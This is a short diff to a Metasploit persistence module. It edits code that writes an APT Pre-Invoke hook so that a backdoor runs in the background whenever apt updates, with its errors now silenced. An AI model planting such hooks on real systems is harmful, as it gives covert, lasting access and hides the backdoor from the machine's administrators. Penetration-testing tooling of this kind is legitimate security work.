diff --git a/modules/exploits/linux/local/apt_package_manager_persistence.rb b/modules/exploits/linux/local/apt_package_manager_persistence.rb index decc5750c3..cc07808e24 100644 --- a/modules/exploits/linux/local/apt_package_manager_persistence.rb +++ b/modules/exploits/linux/local/apt_package_manager_persistence.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local backdoor_path << backdoor_name print_status("Attempting to write hook:") - hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} &\"};" + hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};" write_file(hook_path, hook_script) unless exist? hook_path